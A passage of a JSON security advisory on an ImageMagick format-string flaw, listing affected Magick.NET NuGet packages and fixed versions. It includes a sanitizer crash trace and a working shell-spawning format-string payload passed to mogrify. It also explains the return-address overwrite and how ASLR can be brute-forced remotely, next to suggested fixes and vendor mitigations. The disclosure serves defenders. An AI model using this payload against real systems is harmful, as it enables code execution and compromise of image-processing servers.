  #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n\n0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)\nallocated by thread T0 here:\n    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree\nShadow bytes around the buggy address:\n  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\n  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00\n  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==55653==ABORTING\n```\nProcessing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.\n<br>\n\n### 2. Shell execution tested on a local environment\n\nhttps://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94\n\n```\n ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\\$hn%233c%2194\\$hhnaaaaaaaaa\n```\nThe exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.\n<br>\n\n**Exploitation Process:**\n1. Format string payload corrupts stack pointers through positional parameters\n2. Multiple 2-byte writes (%hn) progressively overwrite the return address  \n3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)\n4. One-gadget executes `/bin/sh` with inherited process permissions\n<br>\n\n**Remote Exploitation Feasibility:**\nWhile this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.\n<br>\n\n**Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.\n\n**Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.\n<br>\n\n## Impact\nThis format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.\n\nThe vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.\n<br>\n\n## Suggested Fix\n\nTwo potential mitigation approaches:\n\n1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString`\n2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString`\n<br>\n\n## Credits\n### Team Daemon Fuzz Hunters\n**Bug Hunting Master Program, HSpace/Findthegap**\n<br>\n\n**Woojin Park**\n@jin-156\n[1203kids@gmail.com](mailto:1203kids@gmail.com)\n\n**Hojun Lee**\n@leehohojune \n[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)\n\n**Youngin Won**\n@amethyst0225\n[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)\n\n**Siyeon Han**\n@hanbunny\n[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)\n\n# Additional notes from the ImageMagick team:\n\nOn many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:\n\nTo prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:\n\n- In wrappers: `filename:literal`\n- From the command line: `-define filename:literal=true`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q16-AnyCPU"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.8.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Magick.NET-Q16-HDRI-AnyCPU"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "14.8.1"
      } ]
    } ]
  }, {
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}